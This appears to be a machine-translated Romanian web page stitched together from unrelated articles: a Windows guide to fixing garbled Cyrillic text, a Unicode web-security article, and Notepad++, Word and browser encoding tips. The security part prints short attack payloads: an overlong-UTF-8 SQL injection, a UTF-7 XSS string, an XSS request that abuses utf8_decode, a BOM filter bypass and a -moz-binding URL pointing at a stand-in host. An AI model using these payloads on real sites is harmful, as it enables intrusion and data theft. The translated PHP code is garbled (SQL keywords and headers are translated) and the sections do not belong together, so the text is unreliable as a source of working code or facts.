Când deschideți un fișier, hieroglifele ce trebuie făcut. În loc de fișiere „hieroglife” (caractere de neînțeles) pe o unitate flash

Krakozyabry Care este un cuvânt interesant? Acest cuvânt este de obicei folosit de utilizatorii ruși pentru a se referi la afișarea (codificarea) incorectă/incorectă a caracterelor din programe sau sistemul de operare însuși.
De ce se întâmplă asta? Nu veți găsi un singur răspuns. Acest lucru se poate datora trucurilor virușilor noștri „preferați”, poate fi din cauza unei defecțiuni a sistemului de operare Windows (de exemplu, s-a pierdut electricitatea și computerul s-a oprit), poate că programul a creat un conflict cu un alt sistem de operare sau sistem de operare și totul „a zburat”. În general, pot fi multe motive, iar cel mai interesant este „Tocmai a luat-o și s-a rupt așa”.
Citim articolul și aflăm cum să remediați problema de codificare în programe și sistemul de operare Windows, de când s-a întâmplat.

Pentru cei care încă nu înțeleg ce vreau să spun, iată câteva:


Apropo, am ajuns și eu o dată în această situație și mai există un fișier pe Desktop care m-a ajutat să fac față. Prin urmare, am decis să scriu acest articol.

Mai multe „lucruri” sunt responsabile pentru afișarea codificării (fontului) în Windows - acestea sunt limba, registry și fișierele sistemului de operare însuși. Acum le vom verifica separat și punct cu punct.

Cum să eliminați și să remediați krakozyabry în loc de rusă (litere rusești) într-un program sau Windows.

1. Verificăm limba instalată pentru programe care nu acceptă Unicode. Poate s-a pierdut pe tine.

Deci, să mergem pe calea: Panoul de control - Opțiuni regionale și de limbă - fila Avansat
Acolo căutăm ca limba rusă să fie.


În Windows XP, pe lângă aceasta, în partea de jos există o listă „Pagini de cod ale tabelelor de conversie” și există o linie cu numărul 20880 în ea. Este necesar să existe și un rus

6. Ultimul punct în care vă dau un dosar care m-a ajutat să repar totul o dată și de aceea l-am lăsat ca amintire. Iată arhiva:

Există două fișiere în interior: krakozbroff.cmd și krakozbroff.reg

Principiul lor este același - să corecteze hieroglife, pătrate, întrebări sau semne de exclamareîn programe și sistemul de operare Windows (în comun krakozyabry). L-am folosit pe primul și mi-a funcționat.

Și în sfârșit, câteva sfaturi:
1) Dacă lucrați cu registry, atunci nu uitați să faceți o copie de rezervă ( backup) în cazul în care ceva nu merge bine.
2) Este recomandabil să verificați primul articol după fiecare articol.

Asta e tot. Acum știți cum să remediați eliminarea / repararea Krakozyabry (pătrate, hieroglife, semne de exclamare și întrebare) într-un program sau Windows.

Cred că ați întâlnit exploatații care sunt clasificate ca Unicode de mai multe ori, ați căutat codificarea potrivită pentru a afișa pagina, v-ați bucurat de următorul krakozyabry ici și colo. Da, nu știi niciodată ce altceva! Dacă vrei să știi cine a început toată această mizerie și o face și astăzi, pune-ți centurile de siguranță și citește mai departe.

După cum se spune, „inițiativa este pedepsită” și, ca întotdeauna, americanii au fost de vină pentru tot.

Și așa a fost. În zorii zilei de glorie a industriei computerelor și a răspândirii internetului, a fost nevoie de un sistem universal de reprezentare a caracterelor. Și în anii 60 ai secolului trecut, a apărut ASCII - „American Standard Code for Information Interchange” (American Standard Code for Information Interchange), o codificare familiară de caractere pe 7 biți. Ultimul al optulea bit neutilizat a fost lăsat ca bit de control pentru personalizarea tabelului ASCII pentru a se potrivi nevoilor fiecărui client de computer dintr-o anumită regiune. Un astfel de bit a permis ca tabelul ASCII să fie extins pentru a folosi propriile caractere pentru fiecare limbă. Calculatoarele au fost livrate în multe țări, unde deja foloseau propriul tabel modificat. Dar mai târziu, această caracteristică s-a transformat într-o durere de cap, deoarece schimbul de date între computere a devenit destul de problematic. Noile pagini de coduri de 8 biți erau incompatibile între ele - același cod ar putea însemna mai multe caractere diferite. Pentru a rezolva această problemă, ISO („International Organization for Standardization”, International Organization for Standardization) a propus un nou tabel, și anume „ISO 8859”.

Ulterior, acest standard a fost redenumit UCS („Setul de caractere universal”, Setul de caractere universal). Cu toate acestea, când UCS a fost lansat pentru prima dată, Unicode sosise. Dar, deoarece scopurile și obiectivele ambelor standarde au coincis, s-a decis unirea forțelor. Ei bine, Unicode și-a asumat sarcina descurajantă de a oferi fiecărui personaj o denumire unică. Pe acest moment cea mai recentă versiune de Unicode este 5.2.

Vreau să vă avertizez - de fapt, povestea cu codificări este foarte tulbure. Surse diferite oferă fapte diferite, așa că nu vă agățați de un singur lucru, doar fiți conștienți de modul în care s-a format totul și urmați standardele moderne. Sper că nu suntem istorici.

Curs accidentat unicode

Înainte de a pătrunde în subiect, aș dori să clarific în ce se află Unicode termeni tehnici. Goluri acest standardștim deja, rămâne doar să reparăm materialul.

Deci, ce este Unicode? Mai simplu spus, aceasta este o modalitate de a reprezenta orice caracter sub forma unui cod specific pentru toate limbile lumii. ultima versiune Standardul conține aproximativ 1.100.000 de coduri, care ocupă spațiul de la U+0000 la U+10FFFF. Dar fii atent aici! Unicode definește strict ce este un cod de caracter și cum va fi reprezentat acel cod în memorie. Codurile de caractere (să zicem, 0041 pentru caracterul „A”) nu au nicio semnificație, dar există o logică pentru reprezentarea acestor coduri ca octeți, codificările fac acest lucru. Consorțiul Unicode oferă următoarele tipuri de codificări, numite UTF (Unicode Transformation Formats). Și iată-le:

  • UTF-7: această codificare nu este recomandată din motive de securitate și compatibilitate. Descris în RFC 2152. Nu face parte din Unicode, dar este introdus de acest consorțiu.
  • UTF-8: cea mai comună codificare de pe web. Este o variabilă, cu o lățime de la 1 la 4 octeți. Compatibil cu protocoale și programe care utilizează ASCII. Ocupă intervalul U+0000 până la U+007F.
  • UTF-16: folosește o lățime variabilă de 2 până la 4 octeți. Cea mai frecventă utilizare este de 2 octeți. UCS-2 este aceeași codificare, doar cu o lățime fixă ​​de 2 octeți și limitată la limitele BMP.
  • UTF-32: folosește o lățime fixă ​​de 4 octeți, adică 32 de biți. Cu toate acestea, sunt utilizați doar 21 de biți, restul de 11 sunt umpluți cu zerouri. Deși această codificare este greoaie din punct de vedere al spațiului, este considerată cea mai eficientă din punct de vedere al vitezei datorită adresei pe 32 de biți în computerele moderne.

Cel mai apropiat echivalent cu UTF-32 este codificarea UCS-4, dar este mai puțin frecvent utilizată astăzi.

În ciuda faptului că UTF-8 și UTF-32 pot reprezenta puțin mai mult de două miliarde de caractere, s-a decis să se limiteze la un milion și o coadă - de dragul compatibilității cu UTF-16. Întregul spațiu de cod este grupat în 17 planuri, fiecare cu 65536 simboluri. Cele mai frecvent utilizate simboluri sunt situate în planul de bază zero. Denumit BMP - Basic MultiPlane.
Un flux de date în codificări UTF-16 și UTF-32 poate fi reprezentat în două moduri - little endian și little endian, numite UTF-16LE/UTF-32LE, respectiv UTF16BE/UTF-32BE. După cum ați ghicit, LE este little-endian și BE este big-endian. Dar trebuie să fii cumva capabil să distingem aceste ordine. Pentru a face acest lucru, utilizați marca de ordine a octetilor U + FEFF, în versiunea în limba engleză - BOM, „Byte Order Mask”. Această BOM poate apărea și în UTF-8, dar nu înseamnă nimic acolo.

De dragul compatibilității inverse, Unicode a trebuit să găzduiască caractere din codificările existente. Dar aici apare o altă problemă - există multe variante de caractere identice care trebuie procesate cumva. Prin urmare, este nevoie de așa-numita „normalizare”, după care este deja posibilă compararea a două șiruri. În total, există 4 forme de normalizare:

  • Forma de normalizare D (NFD): descompunere canonică.
  • Forma de normalizare C (NFC): descompunere canonică + compoziție canonică.
  • Forma de normalizare KD (NFKD): descompunere compatibilă.
  • Forma de normalizare KC (NFKC): descompunere compatibilă + compoziție canonică.

Acum mai multe despre aceste cuvinte ciudate.

Unicode definește două tipuri de egalitate de șiruri - canonică și compatibilitate.

Primul implică descompunerea unui simbol complex în mai multe figuri separate, care, în ansamblu, formează simbolul original. A doua egalitate caută caracterul care se potrivește cel mai apropiat. Și compoziția este o combinație de simboluri din diferite părți, descompunerea este acțiunea opusă. În general, uitați-vă la imagine, totul va cădea la loc.

Din motive de securitate, normalizarea ar trebui făcută înainte ca șirul să fie trimis pentru verificare de către orice filtre. După această operație, dimensiunea textului se poate modifica, ceea ce poate avea consecințe negative, dar mai multe despre asta mai târziu.

Din punct de vedere teorie, asta e tot, nu am spus prea multe încă, dar sper că nu am omis nimic important. Unicode este inimaginabil de vast, complex, cărți groase sunt publicate pe el și este foarte dificil de a condensa, de înțeles și de a explica pe deplin bazele unui standard atât de greoi. În orice caz, pentru o înțelegere mai profundă, ar trebui să parcurgeți legăturile laterale. Deci, când imaginea cu Unicode a devenit mai mult sau mai puțin clară, putem merge mai departe.

înșelăciune vizuală

Cu siguranță ați auzit despre IP/ARP/DNS spoofing și aveți o idee bună despre ce este. Dar există și așa-numita „falsificare vizuală” - aceasta este aceeași metodă veche pe care phisher-ii o folosesc în mod activ pentru a înșela victimele. În astfel de cazuri, se utilizează litere similare, cum ar fi „o” și „0”, „5” și „s”. Aceasta este cea mai comună și mai simplă opțiune și este mai ușor de observat. Un exemplu este atacul de phishing PayPal din 2000, care este menționat chiar și pe paginile www.unicode.org. Cu toate acestea, acest lucru este puțin relevant pentru subiectul nostru Unicode.

Pentru băieții mai avansați, Unicode a apărut la orizont, sau mai bine zis, IDN, care este un acronim pentru „Internationalized Domain Names” (Internationalized Domain Names). IDN permite utilizarea caracterelor alfabetului național în numele de domenii. Registratorii numelor de domeniu îl poziționează ca un lucru convenabil, spun ei, apelează Numele domeniuluiîn limba ta! Cu toate acestea, această comoditate este foarte discutabilă. Ei bine, marketingul nu este subiectul nostru. Dar imaginați-vă ce spațiu este pentru phisheri, SEO, cybersquatters și alte spirite rele. Vorbesc despre un efect numit IDN spoofing. Acest atac aparține categoriei visual spoofing, în literatura engleză se mai numește și „homograph attack”, adică atacuri folosind omografe (cuvinte care sunt aceleași în ortografie).

Da, atunci când tastați litere, nimeni nu va greși și nu va introduce un domeniu în mod deliberat fals. Dar de cele mai multe ori, utilizatorii dau clic pe linkuri. Dacă vrei să te convingi de eficacitatea și simplitatea atacului, atunci uită-te la imagine.

IDNA2003 a fost inventat ca un fel de panaceu, dar deja anul acesta, 2010, a intrat în vigoare IDNA2008. Noul protocol trebuia să rezolve multe dintre problemele tânărului IDNA2003, dar a introdus noi oportunități pentru atacuri de falsificare. Problemele de compatibilitate apar din nou - în unele cazuri, aceeași adresă în browsere diferite poate duce la servere diferite. Faptul este că Punycode poate fi convertit în diferite moduri pentru browsere diferite- totul va depinde de ce specificații standard sunt acceptate.
Problema înșelăciunii vizuale nu se termină aici. Unicode vine și în serviciul spammerilor. Vorbim despre filtre de spam - spammerii rulează literele originale printr-un obfuscator Unicode care caută caractere similare din diferite alfabete naționale folosind așa-numita UC-Simlist („Unicode Similarity List”, o listă de caractere Unicode similare). Si asta e! Filtrul antispam eșuează și nu mai poate recunoaște ceva semnificativ într-o astfel de mizerie de caractere, dar utilizatorul este destul de capabil să citească textul. Nu neg că s-a găsit o soluție pentru o astfel de problemă, totuși, spammerii sunt în frunte. Ei bine, și altceva din aceeași serie de atacuri. Ești sigur că deschizi un fisier text, și nu aveți de-a face cu un binar?

În figură, după cum puteți vedea, avem un fișier numit evilexe. txt. Dar este fals! Fișierul se numește de fapt eviltxt.exe. Vă întrebați, ce este acest gunoi între paranteze? Și acesta, U + 202E sau RIGHT-TO-LEFT OVERRIDE, așa-numitul Bidi (din cuvântul bidirecțional) este un algoritm Unicode pentru suportarea limbilor precum arabă, ebraică și altele. Acesta din urmă, la urma urmei, scriind de la dreapta la stânga. După introducerea caracterului Unicode RLO, vom vedea tot ce urmează după RLO în ordine inversă. Ca exemplu aceasta metoda din viata reala Pot aduce un atac de falsificare în Mozilla Firfox - cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3376 .

Bypass filtru - Pasul #1

Astăzi se știe deja că formele UTF-8 care nu sunt cele mai scurte nu pot fi procesate, deoarece aceasta este o potențială vulnerabilitate. Cu toate acestea, dezvoltatorii PHP nu pot fi motivați cu acest lucru. Să vedem care este acest bug. Poate vă amintiți despre filtrarea greșită și utf8_decode(). Aici vom analiza acest caz mai detaliat. Deci avem acest cod PHP:

// ... pasul 1
$id = mysql_real_escape_string($_GET["id"]);
// ... pasul 2
$id = utf8_decode($id);
// ... pasul 3
mysql_query("SELECTARE "nume" FROM "deadbeef"
WHERE "id"="$id"");

La prima vedere, totul este corect aici. Cumva, dar nu chiar, există o injecție SQL aici. Să ne imaginăm că am trecut următorul șir:

/index.php?id=%c0%a7 SAU 1=1/*

La primul pas, linia nu conține nimic care ar putea prevesti probleme. Dar al doilea pas este cheie, primele două caractere ale șirului sunt convertite într-un apostrof. Ei bine, pe al treilea foșnești deja prin baza de date cu putere și principal. Deci, ce s-a întâmplat în a doua etapă, de ce s-au schimbat brusc simbolurile? Să încercăm să ne dăm seama, citiți cu atenție.

Dacă convertiți %c0 și %a7 în valorile lor binare, obțineți 11000000 și, respectiv, 10100111. Apostroful are valoarea binară 00100111. Acum uitați-vă la tabelul de codificare UTF-8.

Zerourile și unurile de la început raportează lungimea caracterului și proprietatea octeților. Până acum, apostroful nostru se încadrează într-un octet, dar dorim să-l creștem la doi (cel puțin, dar se poate mai mult), adică să ia forma ca în a doua linie.

Apoi trebuie să luați un astfel de prim octet, astfel încât primii trei biți să fie 110, ceea ce spune decodorului că șirul este mai lat de 1 octet. Iar cu al doilea octet, nu mai e greu - vom înlocui primele două zerouri cu 1 și 0. Voila! Avem 11000000 10100111, care este %c0%a7.

Poate că această vulnerabilitate nu este întâlnită la fiecare pas, dar trebuie avut în vedere că dacă funcțiile sunt localizate în această ordine, atunci nici addslashes(), nici mysql_real_escape_string(), nici magic_quotes_qpc nu vor ajuta. Și astfel poți ascunde nu numai apostrofe, ci și multe alte personaje. Mai ales că nu doar PHP gestionează incorect șirurile UTF-8. Având în vedere factorii de mai sus, raza de atac este mult extinsă.

Bypass filtru - Etapa #2

Vulnerabilitatea acestui tip constă în deghizarea complet legală a unui șir otrăvitor sub pretextul unei alte codificări. Uită-te la următorul cod:

/**
* UTF-7 XSS PoC
*/
header("Tip de conținut: text/html;
set de caractere=UTF-7");
$str = "";
$str = mb_convert_encoding($str,
"UTF-7");
echo htmlentities($str);

De fapt, aici se întâmplă următoarele - prima linie trimite un antet către browser cu un mesaj despre ce fel de codificare avem nevoie. Următoarea pereche transformă pur și simplu șirul în acesta:

ADw-script+AD4-alert(„UTF-7 XSS”)+ADsAPA-/script+AD4

Pe ultimul - ceva ca un filtru. Filtrul poate fi mai complicat, dar este suficient pentru noi să arătăm o traversare reușită pentru majoritatea cazurilor primitive. De aici rezultă că nu ar trebui să permiteți utilizatorului să controleze codificări, deoarece chiar și un astfel de cod este o potențială vulnerabilitate.

Dacă aveți îndoieli, aruncați o eroare și opriți funcționarea, iar pentru a evita problemele, este corect să forțați ieșirea datelor la codificare UTF-8. Din practică, este bine cunoscut un caz de atac asupra Google, în care un hacker a reușit să efectueze un atac XSS schimbând manual codificarea în UTF-7.

Sursa inițială de atac asupra Google folosind această metodă este sla.ckers.org/forum/read.php?3,3109.

Bypass filtru - Pasul #3

Unicode avertizează: utilizarea excesivă a simbolurilor vă dăunează securității. Să vorbim despre un astfel de efect precum „simboluri de mâncare”. Motivul unui atac de succes poate fi un decodor care nu funcționează corect: cum ar fi, de exemplu, în PHP. Standardul scrie că dacă în timpul conversiei se întâlnește un caracter stâng (prost format), atunci este recomandabil să înlocuiți caracterele discutabile cu semne de întrebare, un spațiu cu U+FFFD, opriți analizarea etc., dar nu ștergeți caracterele ulterioare. . Dacă tot trebuie să ștergeți un caracter, atunci trebuie să o faceți cu atenție.

Problema este că PHP va mesteca caracterul UTF-8 greșit împreună cu următorul. Și acest lucru poate duce deja la ocolirea filtrului cu executarea ulterioară a codului JavaScript sau la injectarea SQL.

În mesajul original despre vulnerabilitate, pe blogul hackerului Eduardo Vela aka sirdarckcat, există un exemplu foarte bun, și îl vom lua în considerare, doar modificăm puțin. Conform scenariului, utilizatorul poate introduce imagini în profilul său, există următorul cod:

// ... mult cod, filtrare...
$nume = $_GET[„nume”];
$link = $_GET["link"];
$imagine = " src="http://$link" />";
echo utf8_decode($imagine);
Și acum trimitem următoarea cerere:
/?name=xxx%f6&link=%20
src=javascript:onerror=alerta(/
xss/)//

După toate transformările, PHP ne va returna:

Ce s-a întâmplat? Variabila $name a primit un caracter UTF-8 invalid 0xF6, care, după ce a fost convertit în utf8_decode(), a consumat 2 caractere ulterioare, inclusiv ghilimele de închidere. Stub-ul http:// a fost ignorat de browser și următorul cod JavaScript a fost executat cu succes. Am testat acest atac în Opera, dar nimic nu ne împiedică să-l facem universal, acesta este doar un bun exemplu despre modul în care protecția poate fi ocolită în unele cazuri.

Din această serie de atacuri, dar fără comportamentul ciudat al funcțiilor PHP, putem da un alt exemplu de ocolire a filtrelor. Să ne imaginăm că WAF/IPS nu trece linii din lista neagră, dar unele procesări ulterioare ale liniilor de către decodor elimină caracterele străine de gama ASCII. Apoi următorul cod va intra liber în decodor:

alert\uFEFFt("XSS")

Și deja fără \uFEFF va fi locul unde atacatorul ar dori să-l vadă. Puteți rezolva această problemă pur și simplu gândindu-vă la logica procesării șirurilor - ca întotdeauna, filtrul ar trebui să funcționeze cu datele care se află în ultima etapă a procesării sale. Apropo, dacă vă amintiți, atunci \uFEFF este BOM, despre care am scris deja. FireFox a fost afectat de această vulnerabilitate - mozilla.org/security/announce/2008/mfsa2008-43.html

Bypass filtru - Etapa #4

Putem spune că tipul de atac despre care se va discuta acum este visual spoofing, un atac pentru tot felul de IDS/IPS, WAF și alte filtre. Vorbesc despre așa-numitul algoritm Unicode „bestfit mapping”. Această metodă „cea mai bună potrivire” a fost inventată pentru acele cazuri în care lipsește un anumit caracter la conversia de la o codificare la alta, dar trebuie introdus ceva. Atunci se caută unul, care vizual ar putea fi asemănător cu cel dorit.

Lăsați ca acest algoritm să fie inventat de Unicode, totuși, aceasta este doar o altă soluție temporară care va dura la infinit. Totul depinde de scara și viteza tranziției la Unicode. Standardul în sine recomandă recurgerea la cartografierea cea mai potrivită doar ca ultimă soluție. Comportamentul transformării nu poate fi strict reglementat și generalizat în niciun fel, deoarece există prea multe variații diferite de similaritate chiar și pentru un caracter - totul depinde de caracter, de codificări.

Să presupunem că simbolul infinitului poate fi convertit într-o cifră opt. Arata asemanator, dar au scopuri complet diferite. Sau un alt exemplu - caracterul U + 2032 este convertit într-un citat. Cred că înțelegi ce înseamnă.

Specialistul în securitatea informațiilor Chris Weber a experimentat acest subiect - cum se descurcă rețelele sociale cu filtrele și algoritmul de afișare cel mai potrivit? Pe site-ul său, el descrie un exemplu de filtrare bună, dar insuficientă, a unei rețele sociale. În profil, puteți încărca stilurile dvs., care au fost verificate cu atenție.

Dezvoltatorii au avut grijă să nu rateze această linie: ?moz?binding: url(http://nottrusted.com/gotcha.xml#xss)
Cu toate acestea, Chris a reușit să ocolească această protecție prin înlocuirea primului caracter cu un minus, al cărui cod este U+2212. După ce algoritmul cel mai potrivit a funcționat, minusul a fost înlocuit cu un semn cu codul U+002D, un semn care a permis stilului CSS să funcționeze, deschizând astfel oportunități pentru un atac XSS activ. Merită să evitați orice magie, dar există multă. Până în ultimul moment, este imposibil de prezis la ce va duce aplicarea acestui algoritm. În cel mai bun caz, poate exista pierderi de caractere, în cel mai rău caz, execuție de cod JavaScript, acces la fișiere arbitrare, injecție SQL.

Buffer overflow

După cum am scris deja, ar trebui să fiți atenți la normalizare din cauza contracției și extinderii anormale a șirului. A doua consecință duce adesea la o depășire a tamponului. Programatorii compară incorect lungimile șirurilor, uitând de caracteristicile Unicode. Practic, ignorarea sau înțelegerea greșită a următoarelor fapte duce la o eroare:

  1. Șirurile se pot extinde la schimbarea majusculelor - de la sus la mai jos sau invers.
  2. Forma de normalizare NFC nu este întotdeauna „colectivă”, unele caractere pot fi analizate.
  3. Când convertiți caracterele de la unul la altul, textul poate crește înapoi. Adică, cât de mult se extinde șirul depinde de datele în sine și de codificare.

În principiu, dacă știi ce este un buffer overflow, atunci totul este ca întotdeauna. Aproape:). Pur și simplu, dacă vorbim despre șiruri Unicode, atunci caracterele vor fi cel mai adesea umplute cu zerouri. De dragul exemplului, voi da trei rânduri.

Linie obișnuită:

În codificare ASCII:

În codificarea Unicode:

\x41\x00\x42\x00\x43\x00

Nu vor exista octeți nuli în cazul în care șirurile sursă sunt în afara intervalului de șiruri ASCII, deoarece acestea ocupă întreaga gamă. După cum știți, octeții nuli sunt un obstacol în calea operațiunii de succes shellcode. De aceea, multă vreme s-a crezut că atacurile Unicode sunt imposibile. Cu toate acestea, acest mit a fost distrus de Chris Anley, el a venit cu așa-numita „metodă venețiană” care vă permite să înlocuiți nullbytes cu alte personaje. Dar acest subiect merită un articol separat și există deja destul de multe publicații bune - doar pe google "exploatație venețiană". De asemenea, puteți consulta articolul 45 al numărului special al revistei Hacker - „Unicode-Buffer Overflows”, există un articol bun despre scrierea unui shellcode Unicode.

Alte bucurii

Da, acesta nu este sfârșitul vulnerabilităților legate de Unicode. Am descris doar pe cele care se încadrează în principalele clasificări binecunoscute. Există și alte probleme de securitate, de la erori enervante la încălcări reale. Acestea pot fi atacuri de natură vizuală, de exemplu, dacă sistemul de înregistrare procesează incorect datele de conectare ale utilizatorului, atunci puteți crea un cont din personaje care nu se pot distinge vizual de numele victimei, facilitând astfel atacurile de phishing sau de inginerie socială. Și poate și mai rău - sistemul de autorizare (a nu se confunda cu autentificarea) oferă drepturi cu privilegii ridicate, fără a face distincția între setul de caractere din login-ul atacatorului și al victimei.

Dacă cobori la nivelul aplicațiilor sau sistemelor de operare, atunci erorile se manifestă în algoritmi construiți incorect, legați de conversie - normalizare slabă, UTF-8 excesiv de lung, ștergerea și consumul de caractere, conversia incorectă a caracterelor etc. Toate acestea conduc la cea mai largă gamă de atacuri - de la XSS până la execuția de cod de la distanță.

În general, în materie de fantezie, Unicode nu te limitează în niciun fel, ci dimpotrivă, doar te susține. Multe dintre atacurile de mai sus sunt adesea combinate, combinând ocolirea filtrului cu un atac asupra unei ținte specifice. Îmbinând afacerile cu plăcerea, ca să spunem așa. Mai mult decât atât, standardul nu stă pe loc și cine știe la ce vor duce noile extensii, din moment ce au fost și altele care ulterior au fost excluse cu totul din cauza problemelor de securitate.

final fericit?!

Deci, după cum vă puteți imagina, problemele Unicode sunt încă problema numărul unu și cauza a tot felul de atacuri. Și există o singură rădăcină a răului - neînțelegerea sau ignorarea standardului. Desigur, chiar și cei mai renumiți vânzători păcătuiesc cu asta, dar acest lucru nu ar trebui să se relaxeze. Dimpotrivă, merită să ne gândim la amploarea problemei. Ați reușit deja să vă asigurați că Unicode este destul de insidios și vă așteptați la o captură dacă renunțați și nu vă uitați la standard la timp. Apropo, standardul este actualizat în mod regulat și, prin urmare, nu ar trebui să vă bazați pe cărți sau articole antice - informațiile învechite sunt mai proaste decât absența lor. Dar sper că acest articol nu v-a lăsat indiferent la problemă.

Punycode - scheletul compatibilității

DNS nu permite utilizarea altor caractere decât latină, numere și cratime în numele de domenii; pentru DNS se folosește un tabel ASCII „trunchiat”.

Prin urmare, de dragul compatibilității cu versiunea anterioară, un astfel de domeniu Unicode multilingv trebuie convertit la vechiul format. Această sarcină este preluată de browserul utilizatorului. După transformări, domeniul se transformă într-un set de caractere cu prefixul „xn--” sau, cum se mai numește, „Punycode”. De exemplu, domeniul „hacker.ru” după ce a fost convertit în Punycode arată astfel: „xn--80akozv.ru”. Citiți mai multe despre Punycode în RFC 3492.

info

IDNA - IDN în aplicații (IDN în aplicații) este un protocol care rezolvă multe probleme permițând utilizarea numelor de domenii multilingve în aplicații. A fost inventat de IETF, momentan există doar RFC a versiunii vechi a IDNA2003 - RFC 3490. Noul standard este incompatibil cu cel anterior.

Legături

  • unicode.org este site-ul oficial al Consorțiului Unicode. Toate răspunsurile pe un subiect dureros pot fi găsite aici.
  • macchiato.com/main - multe instrumente online utile pentru lucrul cu Unicode.
  • fiddler2.com/fiddler2 - Fiddler, un proxy HTTP puternic și extensibil.
  • websecuritytool.codeplex.com - Plugin Fiddler pentru analiza pasivă a traficului HTTP.
  • lookout.net - site-ul lui Chris Weber pentru Unicode, web și auditare software.
  • sirdarckcat.blogspot.com/2009/10/couple-of-unicodeissueson-php-and.html - postare de blog sirdarckat despre PHP și Unicode.
  • googleblog.blogspot.com/2010/01/unicode-nearing-50of-web.html - Postare de blog Google despre tendința generală de creștere a utilizării Unicode.

Probabil, fiecare utilizator de PC a întâmpinat o problemă similară: deschideți o pagină web sau un document Microsoft Word - și în loc de text vedeți hieroglife (diverse „kryakozabras”, litere, cifre necunoscute etc. (ca în imaginea din stânga). ...)).

Ei bine, dacă acest document (cu hieroglife) nu este deosebit de important pentru tine, dar dacă trebuie să-l citești?! Destul de des, mi se pun întrebări similare și solicitări de ajutor pentru descoperirea unor astfel de texte. În acest scurt articol, vreau să iau în considerare cele mai populare motive pentru apariția hieroglifelor (desigur și să le elimin).

Hieroglife în fișierele text (.txt)

Cea mai populară problemă. Cert este că un fișier text (de obicei în format txt, dar sunt și formate: php, css, info etc.) poate fi salvat în diverse codificări.

Codificare- acesta este un set de caractere necesar pentru a asigura pe deplin scrierea textului într-un anumit alfabet (inclusiv numere și caractere speciale). Mai multe detalii despre asta aici: https://ru.wikipedia.org/wiki/CharacterSet

Cel mai adesea, se întâmplă un lucru: documentul este pur și simplu deschis într-o codificare greșită, ceea ce provoacă confuzie, iar în loc de codul unor caractere, altele vor fi apelate. Pe ecran apar diverse simboluri ciudate (vezi Fig. 1)...

Orez. 1. Notepad - problemă de codificare

Cum să te descurci?

După părerea mea, cea mai bună opțiune este să instalați un notepad avansat, precum Notepad++ sau Bred 3. Să aruncăm o privire mai atentă la fiecare dintre ele.

Notepad++

Site oficial: https://notepad-plus-plus.org/

Unul dintre cele mai bune notebook-uri atât pentru începători, cât și pentru profesioniști. Pro: program gratuit, acceptă limba rusă, funcționează foarte rapid, evidențierea codului, deschiderea tuturor formatelor de fișiere comune, un număr mare de opțiuni vă permit să-l personalizați pentru dvs.

În ceea ce privește codificările, există în general o ordine completă aici: există o secțiune separată „Codificări” (vezi Fig. 2). Încercați doar să schimbați ANSI în UTF-8 (de exemplu).

După ce am schimbat codificarea, documentul meu text a devenit normal și lizibil - hieroglifele au dispărut (vezi Fig. 3)!

Site oficial: http://www.astonshell.ru/freeware/bred3/

Un alt program grozav conceput pentru a înlocui complet blocnotesul standard în Windows. De asemenea, funcționează „ușor” cu multe codificări, le schimbă cu ușurință, acceptă un număr mare de formate de fișiere, acceptă noul sistem de operare Windows (8, 10).

Apropo, Bred 3 ajută foarte mult atunci când lucrați cu fișiere „vechi” salvate în formate MS DOS. Când alte programe arată doar hieroglife, Bred 3 le deschide cu ușurință și vă permite să lucrați cu ele calm (vezi Fig. 4).

Dacă în loc de text, hieroglife în Microsoft Word

Primul lucru la care trebuie să acordați atenție este formatul fișierului. Cert este că, începând cu Word 2007, a apărut un nou format - „docx” (odinioară era doar „doc”). De obicei, formatele noi de fișiere nu pot fi deschise în „vechiul” Word, dar uneori se întâmplă ca aceste fișiere „noi” să se deschidă în vechiul program.

Doar deschideți proprietățile fișierului și apoi uitați-vă la fila „Detalii” (ca în Figura 5). Astfel veți afla formatul fișierului (în Fig. 5 - formatul fișierului este „txt”).

Dacă formatul de fișier este docx - și aveți un Word vechi (sub versiunea 2007) - atunci actualizați doar Word la 2007 sau o versiune ulterioară (2010, 2013, 2016).

Mai mult, atunci când deschideți un fișier, fiți atenți (în mod implicit, această opțiune este întotdeauna activată, cu excepția cazului în care, desigur, aveți „nu înțeleg ce asamblare”) - Word vă va întreba din nou: în ce codificare să deschideți fișierul ( acest mesaj apare cu orice „indiciu” de probleme la deschiderea unui fișier, vezi Fig. 5).

Orez. 6. Word - conversie fișier

Cel mai adesea, Word determină automat codarea necesară, dar textul nu este întotdeauna lizibil. Trebuie să setați glisorul la codificarea dorită atunci când textul devine lizibil. Uneori, trebuie să ghiciți literalmente unde a fost salvat fișierul pentru a-l citi.

Orez. 7. Word - fisierul este normal (codarea este aleasa corect)!

Modificarea codificării în browser

Când browserul determină în mod eronat codificarea unei pagini web, veți vedea exact aceleași hieroglife (vezi Figura 8).

Pentru a remedia afișarea site-ului: modificați codificarea. Acest lucru se face în setările browserului:

  1. Google Chrome: opțiuni (pictograma din dreapta sus)/opțiuni avansate/codificare/windows-1251 (sau UTF-8);
  2. Firefox: butonul ALT din stânga (dacă ai panoul de sus dezactivat), apoi vizualizarea paginii / codificarea / selectează-l pe cel dorit (cel mai adesea Windows-1251 sau UTF-8);
  3. Opera: Opera (pictograma roșie în colțul din stânga sus) / pagină / codificare / selectați-l pe cel de care aveți nevoie.

Astfel, în acest articol au fost analizate cele mai frecvente cazuri de apariție a hieroglifelor asociate cu o codificare definită incorect. Folosind metodele de mai sus, puteți rezolva toate problemele principale cu codificarea incorectă.

Când deschideți un fișier text în Microsoft Word sau alt program (de exemplu, pe un computer a cărui limbă a sistemului de operare este diferită de cea în care este scris textul din fișier), codificarea ajută programul să determine cum trebuie afișat textul pe ecran pentru a putea fi citit.

În acest articol

Informații generale despre codificarea textului

Textul care apare ca text pe ecran este de fapt stocat ca valori numerice într-un fișier text. Calculatorul traduce valorile numerice în caractere vizibile. Pentru aceasta, se folosește un standard de codare.

O codificare este o schemă de numerotare în care fiecărui caracter text dintr-un set i se atribuie o anumită valoare numerică. Codificarea poate conține litere, cifre și alte caractere. Diferite limbi folosesc adesea seturi de caractere diferite, astfel încât multe dintre codificările existente sunt concepute pentru a reprezenta seturile de caractere ale limbilor respective.

Codări diferite pentru diferite alfabete

Informațiile de codificare salvate cu un fișier text sunt folosite de computer pentru a afișa textul pe ecran. De exemplu, în codificarea „Cyrillic (Windows)”, caracterul „E” corespunde valorii numerice 201. Când deschideți un fișier care conține acest caracter pe un computer care utilizează codificarea „Cyrillic (Windows)”, computerul citește numărul 201 și afișează semnul „Y”.

